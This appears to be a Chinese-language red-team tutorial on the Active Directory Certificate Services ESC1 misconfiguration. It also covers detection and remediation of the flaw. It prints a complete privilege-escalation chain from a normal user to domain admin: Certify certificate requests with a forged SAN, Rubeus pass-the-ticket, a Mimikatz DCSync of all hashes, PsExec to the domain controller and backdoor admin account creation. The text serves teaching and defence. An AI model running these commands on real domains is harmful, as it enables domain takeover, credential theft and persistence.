
1. 项目概述从一张“假”证书到域控沦陷在大型企业的Windows域环境中Active Directory证书服务ADCS扮演着至关重要的角色它为域内的用户、计算机和服务提供数字证书用于身份验证、加密和签名。这本是安全架构的基石但配置上的一个疏忽就可能让这块基石变成攻击者最锋利的攻城锤。我最近在内部红队演练中就遇到了一个教科书级别的案例一个配置不当的证书模板让一个仅拥有普通域用户权限的账户在几分钟内就拿到了域管理员Domain Admin的权限。这个漏洞的核心就是被称为ESC1的证书模板滥用漏洞。简单来说ESC1漏洞的根源在于域管理员在配置证书模板时赋予了普通用户过大的权限。具体而言这个模板允许申请者也就是攻击者控制的普通用户在申请证书时自行指定“使用者可选名称”Subject Alternative Name, SAN字段。这个SAN字段在证书的上下文中可以理解为“这张证书代表谁”。想象一下如果银行允许你在申请信用卡时自己填写持卡人姓名那会是什么后果你可以填上任何人的名字包括银行行长。ESC1漏洞就是如此攻击者可以在这个字段里填上域管理员比如DOMAIN\Administrator的用户主体名称UPN然后ADCS就会“乖乖地”为这个管理员身份签发一张证书。拿到这张证书后攻击者就可以用它来进行Kerberos认证从而以域管理员的身份访问域内任何资源包括域控制器本身。这个过程听起来有点抽象但实际操作起来却异常“丝滑”。它不像传统的漏洞利用那样需要复杂的漏洞利用链或0day它利用的是ADCS服务本身的设计逻辑和配置错误。对于防守方而言这种攻击流量看起来就像是正常的证书申请和Kerberos票据请求很难被传统的入侵检测系统IDS/IPS或杀毒软件AV捕获。对于攻击者或我们这样的安全测试人员而言这就像发现了一把被粗心管理员留在门外的、能打开所有房间的万能钥匙。接下来我将详细拆解这个漏洞的成因、利用条件、完整的实战操作步骤以及最重要的——如何发现和修复它。2. 漏洞原理深度拆解为什么ESC1能成立要理解ESC1我们必须先理解ADCS和证书模板在域环境中的工作流程。ADCS通常以“企业CA”的模式部署它与Active Directory深度集成。当用户申请证书时他实际上是向CA服务器提交一个证书签名请求CSR。CA服务器不会盲目地签发它会去查询Active Directory中存储的“证书模板”对象。这个模板定义了谁能申请、申请时能指定什么信息、最终签发的证书有什么属性等一系列策略。2.1 关键配置点证书模板的权限与属性ESC1漏洞的成立依赖于证书模板同时满足以下几个关键配置缺一不可证书模板启用了“使用者可选名称”SAN这是漏洞的技术基础。SAN扩展字段允许证书绑定多个身份标识最常见的就是UPN如administratordomain.local和DNS名称。申请者被允许自行指定SAN值这是漏洞的核心。在证书模板的“请求处理”或“安全”选项卡中存在一个关键权限“注册代理”或“完全控制”权限可能被错误地赋予了普通用户或“经过身份验证的用户”组。更常见且危险的是模板的msPKI-Certificate-Name-Flag属性被设置为允许申请者提供SAN信息对应标志位ENROLLEE_SUPPLIES_SUBJECT。证书模板配置了基于客户端的身份验证Client Authentication增强型密钥用法EKU这是漏洞的目的。EKU定义了证书的用途。Client AuthenticationOID: 1.3.6.1.5.5.7.3.2意味着该证书可以用于向服务器证明客户端的身份这正是Kerberos认证所必需的。如果模板还包含了“智能卡登录”等EKU同样可以利用。申请者对该证书模板拥有“注册”权限这是漏洞的前提。在模板的“安全”设置中攻击者所在的用户或组例如“Domain Users”必须被分配了“注册”权限。否则他连申请该模板证书的资格都没有。管理器批准未启用这是一个加速条件。如果模板要求“CA证书管理器批准”那么攻击者提交申请后需要等待管理员手动批准这会增加利用难度和时间但并非不可逾越。在ESC1的典型场景中这个选项通常是关闭的。当这些条件同时满足时一个完美的“特权提升通道”就形成了。普通用户A可以申请一个模板在SAN中声明“我是域管理员B”CA基于模板策略认为这是被允许的为其签发证书。随后用户A使用这张证书通过PKINIT Kerberos扩展协议向域控制器KDC证明自己是B从而获得代表B身份的Kerberos票据授予票据TGT。有了域管理员的TGT整个域就门户大开了。2.2 与Kerberos协议的联动PKINIT这里需要补充一个关键背景知识Kerberos协议是如何接受证书的传统的Kerberos认证使用密码哈希。而Windows支持PKINITPublic Key Cryptography for Initial Authentication这是一种允许使用公钥证书而非密码来获取初始TGT的Kerberos扩展。当用户使用证书进行认证时KDC会验证证书的有效性是否由受信任的CA签发、是否在有效期内、EKU是否包含客户端身份验证等。关键在于KDC验证的是证书本身而不会去二次核对“申请证书的人”和“证书中声明的人”是否一致。这个信任关系完全建立在CA的签发行为上。因此一旦CA错误地签发了身份冒用的证书KDC就会完全信任它。注意这里存在一个常见的误解认为需要证书模板允许“域管理员”注册。实际上完全不需要。漏洞利用的关键是申请者能修改SAN而不是申请者能直接申请域管理员的证书。模板的注册权限可以只给普通用户但只要SAN可控他就能“变身”为任何其他用户。3. 实战环境搭建与信息收集在开始利用之前我们需要一个模拟环境。假设我们已经通过某种方式比如钓鱼、初始漏洞利用获得了一个普通域用户jackredteam.local的凭据。我们的目标是将权限提升至域管理员Administratorredteam.local。3.1 工具准备我们主要使用两款强大的工具Certify用于枚举ADCS信息、发现易受攻击的证书模板以及发起恶意证书请求。它是.NET程序可以在目标机器上直接运行。Rubeus一款功能强大的Kerberos安全测试工具这里我们主要用它来使用证书申请TGT票据。你可以从它们的GitHub仓库下载编译好的版本。在实际渗透中可能需要将它们上传到已控的域内主机上执行。3.2. 信息收集发现脆弱的证书模板第一步是侦察。我们需要从域内普通用户的视角看看有哪些证书模板可以申请以及它们是否存在配置问题。在已控主机上以用户jack的身份执行以下命令使用CertifyCertify.exe find /vulnerable这个命令会执行一系列查询枚举当前域中所有的证书颁发机构CA。枚举每个CA颁发的所有证书模板。针对每个模板检查其配置属性并与ESC1、ESC2等已知漏洞的条件进行匹配。输出标记为VULNERABLE的模板及其详细信息。一个典型的ESC1漏洞输出可能如下所示[*] Template: Vuln-WebServer Schema Version: 2 Validity Period: 2 years Renewal Period: 6 weeks msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag: None Authorized Signatures Required: 0 Permissions: Enrollment Permissions: REDTEAM\Domain Users:S-1-5-21-... (Enroll) Object Control Permissions: REDTEAM\Domain Admins:S-1-5-21-... (Owner) Enhanced Key Usage: Client Authentication (1.3.6.1.5.5.7.3.2) Server Authentication (1.3.6.1.5.5.7.3.1) [!] Vulnerable to ESC1 - SAN can be set by enrollee - Template allows client authentication - Enrollment permission granted to REDTEAM\Domain Users从输出中我们可以清晰地看到模板名Vuln-WebServermsPKI-Certificate-Name-Flag包含ENROLLEE_SUPPLIES_SUBJECT证实申请者可指定主题包含SAN。增强型密钥用法EKU包含Client Authentication。注册权限赋予了REDTEAM\Domain Users我们的用户jack正在此组中。工具已明确标记[!] Vulnerable to ESC1。至此我们已经找到了攻击入口。4. 漏洞利用全流程实操发现脆弱模板后利用过程分为三个核心步骤伪造证书请求、获取冒用证书、使用证书获取域管TGT。4.1 步骤一申请一个冒用域管理员身份的证书现在我们使用Certify来请求一个证书但在请求中我们将SAN字段指定为域管理员Administrator的UPN。Certify.exe request /ca:dc.redteam.local\REDTEAM-DC-CA /template:Vuln-WebServer /altname:Administratorredteam.local参数解释/ca指定证书颁发机构的名称格式为CA主机名\CA名称。此信息可以从上一步的find结果中获取。/template指定我们发现的易受攻击的模板名称Vuln-WebServer。/altname这是最关键的一步。我们通过这个参数将SAN的UPN值设置为Administratorredteam.local。Certify会在生成的CSR中嵌入这个SAN。命令执行后Certify会与CA交互完成证书申请流程。由于模板不需要管理器批准这个过程通常是瞬间完成的。成功后Certify的输出会包含两个非常重要的部分Base64编码的证书以-----BEGIN CERTIFICATE-----开头-----END CERTIFICATE-----结尾的一长串文本。这是CA签发给我们的、声明身份为Administrator的证书。对应的私钥通常也会以Base64格式输出。务必妥善保存这两者私钥是证明你拥有此证书的唯一凭证。为了方便后续使用我们将证书和私钥分别保存到文件admin.pem证书和admin.key私钥中。注意Rubeus通常需要将证书和私钥合并到一个.pfx文件中并设置一个密码。可以使用OpenSSL来完成这个转换在攻击机上进行# 将PEM格式的证书和私钥合并为PFX并设置密码 openssl pkcs12 -in admin.pem -inkey admin.key -export -out admin.pfx -passout pass:MyPassword123!现在我们得到了一个包含域管理员身份证书和私钥的admin.pfx文件。4.2 步骤二使用证书请求Kerberos TGT接下来我们使用Rubeus通过PKINIT协议用这张“假”证书向域控制器申请域管理员的TGT。Rubeus.exe asktgt /user:Administrator /domain:redteam.local /certificate:admin.pfx /password:MyPassword123! /ptt参数解释/user指定我们想要冒充的用户即Administrator。/domain指定域名。/certificate指定包含证书和私钥的PFX文件路径。/passwordPFX文件的密码。/ptt**“Pass The Ticket”**的缩写这是最关键的一个参数。它表示成功获取TGT后不将其保存到磁盘而是直接注入到当前Windows会话的内存中。这样我们后续的所有操作都将自动使用这张域管理员的票据。执行命令后Rubeus会与域控制器的KDC通信提交证书完成PKINIT认证。如果一切顺利你将看到类似下面的输出显示成功获得了Administrator的TGT并且票据已注入内存。[*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN..., EAdministratorredteam.local ... [*] Building AS-REQ (w/ PKINIT preauth) for: redteam.local\Administrator [] TGT request successful! [*] base64(ticket.kirbi): doIFQjCCBT6gAwIBBaEDAgEWooI... [*] Injecting ticket into current session [] Ticket successfully injected!4.3 步骤三验证权限与横向移动票据注入后当前命令行会话的令牌Token就已经拥有了域管理员Administrator的权限。我们可以立即验证这一点。打开一个新的命令行窗口注意票据注入只对当前会话和由它创建的新进程有效尝试执行一个需要域管理员权限的操作# 使用 dir 命令列出域控制器 C$ 共享目录这是管理员权限 dir \\dc.redteam.local\c$\如果成功列出目录则证明权限提升成功。此时你已经完全具备了域管理员的身份。可以做的事情包括但不限于DCSync使用 Mimikatz 的lsadump::dcsync功能直接拉取整个域的所有用户哈希值包括 krbtgt 账户的哈希。拿到 krbtgt 哈希后可以制作黄金票据Golden Ticket实现持久化控制。mimikatz # lsadump::dcsync /domain:redteam.local /all远程执行使用 PsExec、WMI 或 Scheduled Task 在域控制器上直接获得一个 SYSTEM 权限的交互式 shell。PsExec.exe \\dc.redteam.local cmd.exe创建后门账户直接在域中创建一个新的管理员用户。net user backdooruser Pssw0rd! /add /domain net group Domain Admins backdooruser /add /domain整个利用链条清晰、高效从信息收集到获得域管权限通常在几分钟内即可完成且全程流量与正常证书服务、Kerberos认证无异隐蔽性极强。5. 防御视角如何发现与修复ESC1漏洞作为蓝队或系统管理员绝不能坐以待毙。防御需要从检测和修复两方面入手。5.1 主动检测与狩猎使用相同工具进行自查最直接的方法就是以管理员身份在域内运行Certify.exe find /vulnerable。这能快速定位环境中所有存在配置问题的证书模板。建议将此作为定期安全审计的固定项目。监控CA日志ADCS的证书颁发和请求事件会记录在Windows事件日志中。重点关注事件ID为4886和4887的事件证书服务操作。你可以编写SIEM规则来警报那些来自非管理员账户的证书请求。证书请求的“使用者”或“SAN”字段与请求者账户名不匹配的异常情况例如用户jack申请了Administrator的证书。这需要解析证书请求中的属性有一定复杂度但却是最精准的检测手段。监控Kerberos PKINIT请求在域控制器上监控Kerberos认证服务事件ID4768。当Pre-Authentication Type为PKINIT时检查Client Address和Account Name。如果一个从未使用过智能卡或证书登录的域管理员账户突然从某个非管理员的客户端IP发起了PKINIT认证这就是一个极高的风险信号。5.2 根本性修复方案检测只是治标修复配置才是治本。针对ESC1漏洞修复的核心原则是收紧证书模板的权限并严格控制SAN字段的写入。审查并修改易受攻击的模板打开证书颁发机构控制台。进入证书模板管理单元。找到被标记为易受攻击的模板如Vuln-WebServer右键选择属性。关键操作一处理SAN切换到“使用者名称”选项卡。确保**“在请求中提供”或“用户提供的信息”选项未被选中**。应该选择**“用Active Directory中的信息生成”**。这将禁止申请者自行指定SAN系统会根据申请者的AD账户自动生成正确的主题和SAN。关键操作二收紧注册权限切换到“安全”选项卡。仔细审查“组或用户名”列表。移除所有非必要的用户和组的“注册”权限。原则上证书模板的注册权限应该遵循最小权限原则只授予特定的安全组或计算机账户而不是宽泛的“Domain Users”或“Authenticated Users”。对于用于服务器身份验证的WebServer模板可能只应允许特定的服务器计算机账户注册。考虑启用管理器批准在“请求处理”选项卡中勾选“CA证书管理器批准”。这为证书申请增加了一道人工审批关卡能有效阻断自动化的攻击。但这会增加运维负担需权衡安全与效率。实施证书模板最低权限模型为不同的用途创建专门的模板。例如用户身份验证模板仅用于智能卡登录SAN不可写注册权限仅给特定用户组。Web服务器模板仅用于IIS等服务器SAN可包含DNS名注册权限仅给服务器计算机账户。代码签名模板仅用于签名注册权限严格控制。 避免使用“万能”模板。定期审计与清理定期使用PowerShell或ADSI编辑器审查所有证书模板的msPKI-Certificate-Name-Flag属性、EKU设置和安全描述符。及时下线不再使用的老旧模板。6. 常见问题与排查技巧实录在实际的测试和防御中你可能会遇到各种问题。以下是我踩过的一些坑和解决方案Q1: 运行Certify.exe find时报错“无法连接到域”或“访问被拒绝”。可能原因A当前会话不是域用户身份或者网络不通无法解析域控制器。排查先用whoami /all和nltest /dsgetdc:域名检查当前用户和域连通性。可能原因B工具需要在域内主机上运行。如果你在非域成员机器上运行需要显式指定域控制器和凭据。解决使用/domain:域名和/dc:域控制器IP参数或者先将工具上传到已控的域内主机再执行。Q2: 成功申请到证书但用Rubeus请求TGT时失败错误提示“KDC_ERR_PADATA_TYPE_NOSUPP”或“KDC_ERR_CLIENT_NOT_TRUSTED”。可能原因A证书的EKU不包含Client Authentication(1.3.6.1.5.5.7.3.2)。排查用certutil -dump admin.pem查看证书详情确认EKU列表。可能原因B用于请求TGT的用户主体名在Rubeus命令中的/user参数与证书SAN中的UPN不匹配。排查确保证书SAN中的UPN在Certify输出或证书详情中查看与Rubeus命令中/user参数指定的用户名完全一致包括域名部分。通常应该是usernamedomain.com格式。可能原因C域控制器不支持PKINIT所需的加密类型。解决在Rubeus命令中尝试指定加密类型如/rc4或/aes256。但更常见的是使用/certificate时Rubeus会自动协商。Q3: 票据成功注入但访问域控共享时仍提示“访问被拒绝”。可能原因Kerberos票据确实有效但访问令牌Token可能没有及时更新或者目标资源如C$共享有额外的访问控制列表ACL限制。排查首先用klist命令确认当前会话中是否有域管理员的TGT。然后尝试访问一个明确需要域管理员权限的AD操作例如net group Domain Admins /domain来列出组成员。如果这个成功说明票据有效问题可能出在目标服务器的共享权限上虽然C$默认允许管理员访问但有时会被修改。Q4: 如何在不使用/ptt的情况下保存和使用票据场景你可能想将票据传输到另一台机器上使用。操作在Rubeus的asktgt命令中去掉/ptt参数。Rubeus会将TGT以.kirbi格式Base64编码和文件保存到当前目录。你可以使用Rubeus的ptt子命令来加载这个文件Rubeus.exe ptt /ticket:票据文件.kirbi。或者使用Mimikatz的kerberos::ptt命令来注入。Q5: 蓝队如何快速批量检查环境中的所有模板技巧除了使用Certify还可以使用PowerShell的Get-ADObject命令来查询AD中所有pKICertificateTemplate类的对象并筛选关键属性。下面是一个简单的检查脚本思路# 导入ActiveDirectory模块 Import-Module ActiveDirectory # 查找所有证书模板 $templates Get-ADObject -Filter {objectClass -eq pKICertificateTemplate} -Properties msPKI-Certificate-Name-Flag, pKIExtendedKeyUsage, msPKI-Enrollment-Flag, DisplayName, nTSecurityDescriptor foreach ($t in $templates) { # 检查msPKI-Certificate-Name-Flag是否包含 ENROLLEE_SUPPLIES_SUBJECT (1) if (($t.msPKI-Certificate-Name-Flag -band 1) -eq 1) { Write-Host [!] 模板 $($t.DisplayName) 允许申请者指定主题/SAN -ForegroundColor Red } # 检查EKU是否包含客户端身份验证 if ($t.pKIExtendedKeyUsage -contains 1.3.6.1.5.5.7.3.2) { Write-Host [!] 模板 $($t.DisplayName) 包含客户端身份验证EKU -ForegroundColor Yellow } # 这里可以进一步解析nTSecurityDescriptor来检查注册权限 }将这个脚本与模板的ACL检查结合就能自动化识别风险模板。ADCS的攻防是一个细致活关键在于理解证书模板这个策略核心点的每一个配置选项所蕴含的安全含义。ESC1漏洞给我们的最大教训是在复杂的系统交互中ADCS Kerberos PKINIT任何一个组件的宽松配置允许指定SAN都可能被攻击者串联起来形成一条直达核心的通道。作为防御者必须定期审视这些“信任枢纽”的配置实施最小权限原则才能筑牢身份安全的防线。